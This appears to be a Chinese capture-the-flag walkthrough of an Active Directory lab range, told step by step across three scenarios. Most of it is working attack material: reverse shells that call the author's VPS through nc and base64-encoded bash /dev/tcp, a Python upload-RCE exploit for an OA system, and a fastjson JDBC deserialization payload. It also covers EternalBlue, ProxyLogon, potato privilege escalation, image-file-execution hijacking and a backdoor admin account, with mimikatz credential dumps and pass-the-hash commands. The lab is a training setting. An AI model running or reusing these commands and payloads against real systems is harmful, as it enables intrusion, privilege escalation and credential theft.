春秋云镜打靶

Initial

先fscan扫描发现thinkphp5.0.23

工具上马

蚁剑连上shell之后发现低权限啥也干不了

sudo -l发现mysql是root权限的，去GTFObins找提权命令，反弹shell

1
sudo mysql -e '\! rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 47.122.53.248 2333 >/tmp/f'

弹shell完在root下就有flag01.txt

然后进一步内网探测，上传fscan,但是我蚁剑抽风了，从vps上wget我的fscan进行扫描，这里ifconfig查看ip为

1
172.22.1.15

fscan扫描

1
./fscan -h 172.22.1.0/24

总结一下信息

1
2
3
172.22.1.2:DC域控
172.22.1.21:Windows的机器并且存在MS17-010 漏洞
172.22.1.18:信呼OA办公系统

先看这个信呼，这里需要内网穿透，进行代理，这里用frp+proxifier进行代理

新版的frp从ini改成toml了，其实用法差不多

配个frpc.toml,这里用socks5代理

1
2
3
4
5
6
7
8
9
serverAddr = "47.122.53.248"
serverPort = 7000

[[proxies]]
name = "socks5"
type = "tcp"
remotePort = 7890
[proxies.plugin]
type = "socks5"

然后frpc和对应的toml传靶机上，这里还是古法wget，然后我们vps放frps和对应toml

1
./frps -c frps.toml

vps启动后，再去靶机启动

1
./frpc -c frpc.toml

连接建立好后，我们本机的proxifier配置代理服务器

然后浏览器能正常访问172.22.1.18就成功了，这里版本是v2.2.8是有poc的，直接拿来打，默认密码admin/admin123改一下，注意这里脚本也要配代理

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
session = requests.session()
session.proxies = {
    "http":  "socks5h://47.122.53.248:7890",
    "https": "socks5h://47.122.53.248:7890"
}
url_pre = 'http://172.22.1.18/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'
data1 = {
    'rempass': '0',
    'jmpass': 'false',
    'device': '1625884034525',
    'ltype': '0',
    'adminuser': 'YWRtaW4=',
    'adminpass': 'YWRtaW4xMjM=',
    'yanzm': ''
}
r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})

filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']
url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'
r = session.get(url3)
r = session.get(url_pre + filepath + "?1=system('dir")
print(r.text)
print(filepath)

然后1.php的内容也是一句话木马

蚁剑连接，这里蚁剑也要配代理

连接上

system权限查找flag2

这里提示要攻击DC，我们先去把剩下的172.22.1.21打了

前面扫出来MS17-010永恒之蓝漏洞，这里用kali打吧，自带msf,还是要先配代理

1
vim /etc/proxychains4.conf

配上之后启动msf

用第一个

1
2
3
4
5
proxychains4 msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.1.21
exploit

打成功了，mimikatz收集域内hash

1
2
load kiwi  
kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit  

dump出域内所有的hash

直接用Administrator的hash，这里用crackmapexec调用命令拿flag

1
proxychains4 crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

Tsclient

mssql用MDUT连接

低权限用户,这里考虑potato系列提权然后连cs上线，先在vps上整好cs

然后本机配上ip和用户名密码就行

然后现在用cs生成一个监听exe

这里端口可以换成别的，80端口被占用这里起不了，起完监听之后这里生成windows payload

会生成一个木马，我们去找potato的工具一起上传到靶机，这里用printspoofer或者sweetpotato提权

然后用这个启动我们生成的cs payload上线cs

1
C:/Windows/Temp/SweetPotato.exe -a "C:/Windows/Temp/artifact.exe"

1
shell type C:\Users\Administrator\flag\flag01.txt

上传fscan进行内网扫描

这里结果全是乱码，还是去cs里面执行吧

1
shell C:/Windows/Temp/fscan.exe -h 172.22.8.0/24 -o C:/Windows/Temp/res.txt

这里输出到txt里面方便查看,这里的结果会下载到vps上

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
[2026-03-11 15:07:25] [SERVICE] 目标:172.22.8.46 状态:identified 详情:title=IIS Windows Server, Url=http://172.22.8.46, status_code=200, length=703, server_info=map[accept-ranges:bytes content-length:703 content-type:text/html date:Wed, 11 Mar 2026 07:07:25 GMT etag:"687a619b3595d81:0" last-modified:Mon, 11 Jul 2022 14:50:48 GMT length:703 server:Microsoft-IIS/10.0 status_code:200 title:IIS Windows Server], fingerprints=[], port=80, service=http
[2026-03-11 15:07:25] [SERVICE] 目标:172.22.8.46 状态:identified 详情:hostname=WIN2016, ipv4=[172.22.8.46], ipv6=[]
[2026-03-11 15:07:25] [SERVICE] 目标:172.22.8.18 状态:identified 详情:hostname=WIN-WEB, ipv4=[172.22.8.18], ipv6=[2001:0:14c9:d206:18b3:2584:d89c:1fa4]
[2026-03-11 15:07:25] [SERVICE] 目标:172.22.8.15 状态:identified 详情:port=139, domain_name=XIAORANG, workstation_service=DC01, server_service=DC01, domain_controllers=XIAORANG
[2026-03-11 15:07:25] [SERVICE] 目标:172.22.8.31 状态:identified 详情:port=139, domain_name=XIAORANG, workstation_service=WIN19-CLIENT, server_service=WIN19-CLIENT
[2026-03-11 15:07:25] [SERVICE] 目标:172.22.8.31 状态:identified 详情:ipv4=[172.22.8.31], ipv6=[], hostname=WIN19-CLIENT
[2026-03-11 15:07:25] [SERVICE] 目标:172.22.8.15 状态:identified 详情:hostname=DC01, ipv4=[172.22.8.15], ipv6=[]
[2026-03-11 15:07:25] [SERVICE] 目标:172.22.8.46 状态:identified 详情:computer_name=WIN2016.xiaorang.lab, domain_name=xiaorang.lab, netbios_domain=XIAORANG, netbios_computer=WIN2016, workstation_service=WIN2016, server_service=WIN2016, os_version=Windows Server 2016 Datacenter 14393, port=139
[2026-03-11 15:07:26] [SERVICE] 目标:172.22.8.18 状态:identified 详情:Url=http://172.22.8.18, status_code=200, length=703, server_info=map[accept-ranges:bytes content-length:703 content-type:text/html date:Wed, 11 Mar 2026 07:07:26 GMT etag:"de472b34195d81:0" last-modified:Mon, 11 Jul 2022 08:35:41 GMT length:703 server:Microsoft-IIS/10.0 status_code:200 title:IIS Windows Server], fingerprints=[], port=80, service=http, title=IIS Windows Server
[2026-03-11 15:07:33] [VULN] 目标:172.22.8.18 状态:vulnerable 详情:port=1433, service=mssql, username=sa, password=1qaz!QAZ, type=weak-password

没啥打的，总结一下信息

1
2
3
4
172.22.8.15 XIAORANG\DC01 # 域控
172.22.8.31 XIAORANG\WIN19-CLIENT
172.22.8.46 WIN2016.xiaorang.lab
172.22.8.18 WIN-WEB # 本机

枚举用户信息

John这个用户是admin，查看一下

其实可以直接查看在线用户

1
shell quser || qwinst #查看在线用户

rdp远程连接，可以用cs进程注入

选择John用户的svchost进程注入

上线之后查看共享资源

发现TSClient,利用这个列目录

1
shell dir \\TSCLIENT\C

发现credential.txt，查看一下

1
shell type \\TSCLIENT\C\credential.txt

发现一个域用户的账号密码，以及提示镜像挟持

这里直接用cs搭建隧道，配置proxychains,这里用socks5

然后用kali进行密码喷洒,就是撞库

撞到WIN2016、WIN19-CLIENT、DC01这三个

这里修改WIN2016这台机子的密码

1
proxychains4 -q impacket-changepasswd xiaorang.lab/Aldrich:'Ald@rLMWuy7Z!#'@172.22.8.46 -newpass '0d00@0721'

但是报错说密码已失效，这里选择直接图形化修改密码了,登入WIN19-CLIENT这台试试

1
proxychains rdesktop 172.22.8.31 -u Aldrich -d xiaorang.lab -p 'Ald@rLMWuy7Z!#'

我把密码修改成0d00@0721，然后现在显示

换46那台登入

1
proxychains4 rdesktop 172.22.8.46 -u Aldrich -d xiaorang.lab -p '0d00@0721'

不出网，然后前面提示镜像挟持了，这里挟持放大镜

1
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

回到锁定界面用放大镜

这台机子不出网，用cs进行转发上线

这里生成一个beacon.exe，然后用rdesktop的-r参数挂载我kali的磁盘下exe上线

1
proxychains4 rdesktop 172.22.8.46 -u Aldrich -d xiaorang.lab -p '0d00@0721' -r disk:share=/tmp

用放大镜拿的shell执行exe

上线cs,拿下域控

查看域管成员

1
shell net group "domain admins" /domain

拿密码

1
logonpasswords

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
Authentication Id : 0 ; 21891917 (00000000:014e0b4d)
Session           : Interactive from 2
User Name         : DWM-2
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2026/3/11 16:13:58
SID               : S-1-5-90-0-2
	msv :	
	 [00000003] Primary
	 * Username : WIN2016$
	 * Domain   : XIAORANG
	 * NTLM     : 8f2e9a48501c4ce8574981f323786bfa
	 * SHA1     : ed82695e1805d58b8441f78dbaeb97dc60002772
	tspkg :	
	wdigest :	
	 * Username : WIN2016$
	 * Domain   : XIAORANG
	 * Password : (null)
	kerberos :	
	 * Username : WIN2016$
	 * Domain   : xiaorang.lab
	 * Password : d5 c1 9f 33 00 1b 0c 8e 9d 6e 81 7a 7e ca ce df f6 9c 13 5a f0 ff b9 95 b5 e4 01 74 e2 b6 56 57 fc 74 fc 22 54 ca f8 ed 29 2f 1b d7 71 ff 39 8c ff 29 d8 a2 05 dd b1 95 70 4c 70 7b fa e0 57 c7 89 aa c0 80 e8 14 f0 54 e4 61 25 3b 87 c0 de 72 cf 31 d2 1c d1 3d 56 e3 a4 a4 d4 69 d5 6d 95 e9 55 ef fd b5 81 de b3 39 96 3c 2a f5 cc d9 c1 25 97 33 48 53 f2 9b 60 7c e1 b2 62 76 6d c9 c8 02 d4 aa bc bf 80 1c 72 45 f4 23 fa 0a d1 39 b7 18 ca b5 6a ca a6 49 44 c0 91 64 13 0a 7c 3a 95 0d c2 a1 a1 1b 47 ef ce 12 58 e8 02 26 30 1a fc 05 72 0f cc 1f 09 19 1a 27 46 06 56 57 05 d2 6a ad 89 9a a5 b0 f3 fb 93 40 98 82 ba 09 96 66 1d 80 3f a1 fb 23 e3 90 e8 85 8f 86 5b fe e6 7d 9a f3 f0 27 b7 b5 57 0a 98 0c fd a5 f3 ae 97 74 14 1d 
	ssp :	
	credman :	

Authentication Id : 0 ; 21891893 (00000000:014e0b35)
Session           : Interactive from 2
User Name         : DWM-2
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2026/3/11 16:13:58
SID               : S-1-5-90-0-2
	msv :	
	 [00000003] Primary
	 * Username : WIN2016$
	 * Domain   : XIAORANG
	 * NTLM     : 8f2e9a48501c4ce8574981f323786bfa
	 * SHA1     : ed82695e1805d58b8441f78dbaeb97dc60002772
	tspkg :	
	wdigest :	
	 * Username : WIN2016$
	 * Domain   : XIAORANG
	 * Password : (null)
	kerberos :	
	 * Username : WIN2016$
	 * Domain   : xiaorang.lab
	 * Password : d5 c1 9f 33 00 1b 0c 8e 9d 6e 81 7a 7e ca ce df f6 9c 13 5a f0 ff b9 95 b5 e4 01 74 e2 b6 56 57 fc 74 fc 22 54 ca f8 ed 29 2f 1b d7 71 ff 39 8c ff 29 d8 a2 05 dd b1 95 70 4c 70 7b fa e0 57 c7 89 aa c0 80 e8 14 f0 54 e4 61 25 3b 87 c0 de 72 cf 31 d2 1c d1 3d 56 e3 a4 a4 d4 69 d5 6d 95 e9 55 ef fd b5 81 de b3 39 96 3c 2a f5 cc d9 c1 25 97 33 48 53 f2 9b 60 7c e1 b2 62 76 6d c9 c8 02 d4 aa bc bf 80 1c 72 45 f4 23 fa 0a d1 39 b7 18 ca b5 6a ca a6 49 44 c0 91 64 13 0a 7c 3a 95 0d c2 a1 a1 1b 47 ef ce 12 58 e8 02 26 30 1a fc 05 72 0f cc 1f 09 19 1a 27 46 06 56 57 05 d2 6a ad 89 9a a5 b0 f3 fb 93 40 98 82 ba 09 96 66 1d 80 3f a1 fb 23 e3 90 e8 85 8f 86 5b fe e6 7d 9a f3 f0 27 b7 b5 57 0a 98 0c fd a5 f3 ae 97 74 14 1d 
	ssp :	
	credman :	

Authentication Id : 0 ; 55331 (00000000:0000d823)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2026/3/11 13:48:29
SID               : S-1-5-90-0-1
	msv :	
	 [00000003] Primary
	 * Username : WIN2016$
	 * Domain   : XIAORANG
	 * NTLM     : 8f2e9a48501c4ce8574981f323786bfa
	 * SHA1     : ed82695e1805d58b8441f78dbaeb97dc60002772
	tspkg :	
	wdigest :	
	 * Username : WIN2016$
	 * Domain   : XIAORANG
	 * Password : (null)
	kerberos :	
	 * Username : WIN2016$
	 * Domain   : xiaorang.lab
	 * Password : d5 c1 9f 33 00 1b 0c 8e 9d 6e 81 7a 7e ca ce df f6 9c 13 5a f0 ff b9 95 b5 e4 01 74 e2 b6 56 57 fc 74 fc 22 54 ca f8 ed 29 2f 1b d7 71 ff 39 8c ff 29 d8 a2 05 dd b1 95 70 4c 70 7b fa e0 57 c7 89 aa c0 80 e8 14 f0 54 e4 61 25 3b 87 c0 de 72 cf 31 d2 1c d1 3d 56 e3 a4 a4 d4 69 d5 6d 95 e9 55 ef fd b5 81 de b3 39 96 3c 2a f5 cc d9 c1 25 97 33 48 53 f2 9b 60 7c e1 b2 62 76 6d c9 c8 02 d4 aa bc bf 80 1c 72 45 f4 23 fa 0a d1 39 b7 18 ca b5 6a ca a6 49 44 c0 91 64 13 0a 7c 3a 95 0d c2 a1 a1 1b 47 ef ce 12 58 e8 02 26 30 1a fc 05 72 0f cc 1f 09 19 1a 27 46 06 56 57 05 d2 6a ad 89 9a a5 b0 f3 fb 93 40 98 82 ba 09 96 66 1d 80 3f a1 fb 23 e3 90 e8 85 8f 86 5b fe e6 7d 9a f3 f0 27 b7 b5 57 0a 98 0c fd a5 f3 ae 97 74 14 1d 
	ssp :	
	credman :	

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : WIN2016$
Domain            : XIAORANG
Logon Server      : (null)
Logon Time        : 2026/3/11 13:48:28
SID               : S-1-5-20
	msv :	
	 [00000003] Primary
	 * Username : WIN2016$
	 * Domain   : XIAORANG
	 * NTLM     : 8f2e9a48501c4ce8574981f323786bfa
	 * SHA1     : ed82695e1805d58b8441f78dbaeb97dc60002772
	tspkg :	
	wdigest :	
	 * Username : WIN2016$
	 * Domain   : XIAORANG
	 * Password : (null)
	kerberos :	
	 * Username : win2016$
	 * Domain   : XIAORANG.LAB
	 * Password : d5 c1 9f 33 00 1b 0c 8e 9d 6e 81 7a 7e ca ce df f6 9c 13 5a f0 ff b9 95 b5 e4 01 74 e2 b6 56 57 fc 74 fc 22 54 ca f8 ed 29 2f 1b d7 71 ff 39 8c ff 29 d8 a2 05 dd b1 95 70 4c 70 7b fa e0 57 c7 89 aa c0 80 e8 14 f0 54 e4 61 25 3b 87 c0 de 72 cf 31 d2 1c d1 3d 56 e3 a4 a4 d4 69 d5 6d 95 e9 55 ef fd b5 81 de b3 39 96 3c 2a f5 cc d9 c1 25 97 33 48 53 f2 9b 60 7c e1 b2 62 76 6d c9 c8 02 d4 aa bc bf 80 1c 72 45 f4 23 fa 0a d1 39 b7 18 ca b5 6a ca a6 49 44 c0 91 64 13 0a 7c 3a 95 0d c2 a1 a1 1b 47 ef ce 12 58 e8 02 26 30 1a fc 05 72 0f cc 1f 09 19 1a 27 46 06 56 57 05 d2 6a ad 89 9a a5 b0 f3 fb 93 40 98 82 ba 09 96 66 1d 80 3f a1 fb 23 e3 90 e8 85 8f 86 5b fe e6 7d 9a f3 f0 27 b7 b5 57 0a 98 0c fd a5 f3 ae 97 74 14 1d 
	ssp :	
	credman :	

Authentication Id : 0 ; 21915646 (00000000:014e67fe)
Session           : RemoteInteractive from 2
User Name         : Aldrich
Domain            : XIAORANG
Logon Server      : DC01
Logon Time        : 2026/3/11 16:13:58
SID               : S-1-5-21-3289074908-3315245560-3429321632-1105
	msv :	
	 [00000003] Primary
	 * Username : Aldrich
	 * Domain   : XIAORANG
	 * NTLM     : 630aa5e88c0b382c5dfdd935965aa343
	 * SHA1     : 49ffb25f942060cf13ec4fcfa94f040b7306e587
	 * DPAPI    : e58d6469c288dc84f471b6c317166924
	tspkg :	
	wdigest :	
	 * Username : Aldrich
	 * Domain   : XIAORANG
	 * Password : (null)
	kerberos :	
	 * Username : Aldrich
	 * Domain   : XIAORANG.LAB
	 * Password : (null)
	ssp :	
	credman :	

Authentication Id : 0 ; 15426231 (00000000:00eb62b7)
Session           : Service from 0
User Name         : DefaultAppPool
Domain            : IIS APPPOOL
Logon Server      : (null)
Logon Time        : 2026/3/11 14:56:54
SID               : S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415
	msv :	
	 [00000003] Primary
	 * Username : WIN2016$
	 * Domain   : XIAORANG
	 * NTLM     : 8f2e9a48501c4ce8574981f323786bfa
	 * SHA1     : ed82695e1805d58b8441f78dbaeb97dc60002772
	tspkg :	
	wdigest :	
	 * Username : WIN2016$
	 * Domain   : XIAORANG
	 * Password : (null)
	kerberos :	
	 * Username : WIN2016$
	 * Domain   : xiaorang.lab
	 * Password : d5 c1 9f 33 00 1b 0c 8e 9d 6e 81 7a 7e ca ce df f6 9c 13 5a f0 ff b9 95 b5 e4 01 74 e2 b6 56 57 fc 74 fc 22 54 ca f8 ed 29 2f 1b d7 71 ff 39 8c ff 29 d8 a2 05 dd b1 95 70 4c 70 7b fa e0 57 c7 89 aa c0 80 e8 14 f0 54 e4 61 25 3b 87 c0 de 72 cf 31 d2 1c d1 3d 56 e3 a4 a4 d4 69 d5 6d 95 e9 55 ef fd b5 81 de b3 39 96 3c 2a f5 cc d9 c1 25 97 33 48 53 f2 9b 60 7c e1 b2 62 76 6d c9 c8 02 d4 aa bc bf 80 1c 72 45 f4 23 fa 0a d1 39 b7 18 ca b5 6a ca a6 49 44 c0 91 64 13 0a 7c 3a 95 0d c2 a1 a1 1b 47 ef ce 12 58 e8 02 26 30 1a fc 05 72 0f cc 1f 09 19 1a 27 46 06 56 57 05 d2 6a ad 89 9a a5 b0 f3 fb 93 40 98 82 ba 09 96 66 1d 80 3f a1 fb 23 e3 90 e8 85 8f 86 5b fe e6 7d 9a f3 f0 27 b7 b5 57 0a 98 0c fd a5 f3 ae 97 74 14 1d 
	ssp :	
	credman :	

Authentication Id : 0 ; 995 (00000000:000003e3)
Session           : Service from 0
User Name         : IUSR
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 2026/3/11 13:48:32
SID               : S-1-5-17
	msv :	
	tspkg :	
	wdigest :	
	 * Username : (null)
	 * Domain   : (null)
	 * Password : (null)
	kerberos :	
	ssp :	
	credman :	

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 2026/3/11 13:48:29
SID               : S-1-5-19
	msv :	
	tspkg :	
	wdigest :	
	 * Username : (null)
	 * Domain   : (null)
	 * Password : (null)
	kerberos :	
	 * Username : (null)
	 * Domain   : (null)
	 * Password : (null)
	ssp :	
	credman :	

Authentication Id : 0 ; 55356 (00000000:0000d83c)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2026/3/11 13:48:29
SID               : S-1-5-90-0-1
	msv :	
	 [00000003] Primary
	 * Username : WIN2016$
	 * Domain   : XIAORANG
	 * NTLM     : 4ba974f170ab0fe1a8a1eb0ed8f6fe1a
	 * SHA1     : e06238ecefc14d675f762b08a456770dc000f763
	tspkg :	
	wdigest :	
	 * Username : WIN2016$
	 * Domain   : XIAORANG
	 * Password : (null)
	kerberos :	
	 * Username : WIN2016$
	 * Domain   : xiaorang.lab
	 * Password : 9e ae c4 7a ed ee 91 74 a5 59 61 a5 00 2c c5 00 60 3b 87 48 d0 17 48 cf df 7b 14 af 9a 99 22 b5 94 ba 0a 1e f0 6e f0 25 b1 e2 a2 62 fb b8 68 93 42 64 08 b7 f6 2e f7 cf ae a3 7a 94 9d 32 24 1a b1 6b 87 6c 5e f1 d3 89 c6 c4 8b d3 bd 05 9c b0 e1 85 d4 2c 03 56 5f af 09 15 12 10 df 74 e7 4c d3 65 55 d8 ab bd b4 71 5c 8c a7 bd 14 60 8b 44 b5 d8 d8 61 23 f1 4f 4d 8e a0 dc ac 8a 60 15 0d f7 9f a1 85 98 c4 cf 34 ec ee ea c5 b9 5b 42 8b 97 cc 4d ed 1f db 8c b4 45 06 ce 40 fc 81 96 ac c3 61 e5 e9 42 90 69 f3 b2 85 fa 80 59 e2 8b a5 f6 70 5d 1a bd 5f b1 85 6b ae b0 16 42 29 2c 99 57 fb 49 ea e3 29 49 56 55 6c 9a 2b ee 13 77 fe d7 a3 51 b8 01 ec bb 60 22 b8 7c 2f f5 6b 0f 6b 87 36 76 45 81 7e e3 71 0a a8 ca 2a a3 a6 05 64 
	ssp :	
	credman :	

Authentication Id : 0 ; 25381 (00000000:00006325)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 2026/3/11 13:48:28
SID               : 
	msv :	
	 [00000003] Primary
	 * Username : WIN2016$
	 * Domain   : XIAORANG
	 * NTLM     : 8f2e9a48501c4ce8574981f323786bfa
	 * SHA1     : ed82695e1805d58b8441f78dbaeb97dc60002772
	tspkg :	
	wdigest :	
	kerberos :	
	ssp :	
	credman :	

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : WIN2016$
Domain            : XIAORANG
Logon Server      : (null)
Logon Time        : 2026/3/11 13:48:28
SID               : S-1-5-18
	msv :	
	tspkg :	
	wdigest :	
	 * Username : WIN2016$
	 * Domain   : XIAORANG
	 * Password : (null)
	kerberos :	
	 * Username : win2016$
	 * Domain   : XIAORANG.LAB
	 * Password : (null)
	ssp :	
	credman :	

拿到这里的NTLM凭证，直接用crackmapexec命令执行

1
proxychains4 crackmapexec smb 172.22.8.15 -u 'WIN2016$' -H 8f2e9a48501c4ce8574981f323786bfa -d xiaorang -x "type C:\Users\Administrator\flag\flag03.txt"

或者上传mimikatz dump出其他用户的hash再命令执行

1
shell C:\\Users\\Public\\mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:xiaorang.lab /all /csv" "exit"

然后是dump dcsync

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
[05/26 18:58:21] [*] Tasked beacon to run: C:\\Users\\Public\\mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:xiaorang.lab /all /csv" "exit"
[05/26 18:58:21] [+] host called home, sent: 137 bytes
[05/26 18:58:22] [+] received output:

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # lsadump::dcsync /domain:xiaorang.lab /all /csv
[DC] 'xiaorang.lab' will be the domain
[DC] 'DC01.xiaorang.lab' will be the DC server
[DC] Exporting domain 'xiaorang.lab'
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
502	krbtgt	3ffd5b58b4a6328659a606c3ea6f9b63	514
1000	DC01$	f96c2590d6a79fcb1ef4238ade63a071	532480
500	Administrator	2c9d81bdcf3ec8b1def10328a7cc2f08	512
1103	WIN2016$	6e3b4351775ddedcfee0c3632f9747c4	16781312
1104	WIN19-CLIENT$	e2f7b9fef4b865cf2f721d512ad3c35a	16781312
1105	Aldrich	161cff084477fe596a5db81874498a24	512

mimikatz(commandline) # exit
Bye!

得到Administrator的hash,拿shell

1
proxychains4 impacket-smbexec -hashes :2c9d81bdcf3ec8b1def10328a7cc2f08 xiaorang.lab/administrator@172.22.8.15 -codec gbk

Exchange

fscan扫到8000端口有华夏erp,可以打CNVD-2020-63964有信息泄露

1
http://39.99.229.189:8000//user/getAllList;.ico

密码是123456，不过登入没啥用，这个版本还存在fastjson1.2.55 jdbc的rce漏洞，nday直接跟着打

准备ysoserial的jar包和mysql_fake_server在服务器上起恶意mysql服务打jdbc

需要改一下config.json,其实就是在最后加上cc6的反弹shell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{
    "config":{
        "ysoserialPath":"ysoserial-0.0.6-SNAPSHOT-all.jar",
        "javaBinPath":"java",
        "fileOutputDir":"./fileOutput/",
        "displayFileContentOnScreen":true,
        "saveToFile":true
    },
    "fileread":{
        "win_ini":"c:\\windows\\win.ini",
        "win_hosts":"c:\\windows\\system32\\drivers\\etc\\hosts",
        "win":"c:\\windows\\",
        "linux_passwd":"/etc/passwd",
        "linux_hosts":"/etc/hosts",
        "index_php":"index.php",
        "ssrf":"https://www.baidu.com/",
        "__defaultFiles":["/etc/hosts","c:\\windows\\system32\\drivers\\etc\\hosts"]
    },
    "yso":{
        "Jdk7u21":["Jdk7u21","calc"],
        "CommonsCollections6":["CommonCollections6","bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMjIuNTMuMjQ4LzIzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}"]
    }
}

yso放在跟server.py一个目录然后运行就行，这里运行要python版本低一些，这里我下了个3.9的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
sudo apt update
sudo apt install -y build-essential libssl-dev zlib1g-dev libbz2-dev \
    libreadline-dev libsqlite3-dev libffi-dev libncursesw5-dev libgdbm-dev \
    liblzma-dev tk-dev uuid-dev wget

cd /usr/src
sudo wget https://www.python.org/ftp/python/3.9.18/Python-3.9.18.tgz
sudo tar xzf Python-3.9.18.tgz
cd Python-3.9.18
sudo ./configure --enable-optimizations
sudo make -j$(nproc)
sudo make altinstall

然后/usr/local/bin/python3.9 server.py,网站请求就发编码后的payload

1
{ "name": { "@type": "java.lang.AutoCloseable", "@type": "com.mysql.jdbc.JDBC4Connection", "hostToConnectTo": "47.122.53.248", "portToConnectTo": 3306, "info": { "user": "yso_CommonsCollections6_bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMjIuNTMuMjQ4LzIzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}", "password": "pass", "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "NUM_HOSTS": "1" } }

接下来又得古法frp内网穿透和古法wget上传fscan扫描了,这里机子是32位的，然后内网ip是172.22.3.12

1
2
3
172.22.3.9      EXC01
172.22.3.2      DC
172.22.3.26     PC

按照给的url访问172.22.3.9是一个outlook界面

其实就是Exchange Server 2016，直接打ProxyLogon

1
proxychains4 python2 proxylogon.py 172.22.3.9 administrator@xiaorang.lab

没东西那就添加管理员用户rdp进去拿flag

1
2
net user 0d00 qwer1234! /add
net localgroup administrators 0d00 /add

查看的过程中发现还有zhangtong这个用户，传个mimikatz看看

1
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > 1.txt

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
Authentication Id : 0 ; 11978565 (00000000:00b6c745)
Session           : Interactive from 3
User Name         : DWM-3
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2026/3/12 21:21:45
SID               : S-1-5-90-0-3
	msv :	
	 [00000003] Primary
	 * Username : XIAORANG-EXC01$
	 * Domain   : XIAORANG
	 * NTLM     : f37e71617489d914f5a186ae7c646d14
	 * SHA1     : e38cbbb2ea35d17e44aa30e464d459769ed17389
	tspkg :	
	wdigest :	
	 * Username : XIAORANG-EXC01$
	 * Domain   : XIAORANG
	 * Password : (null)
	kerberos :	
	 * Username : XIAORANG-EXC01$
	 * Domain   : xiaorang.lab
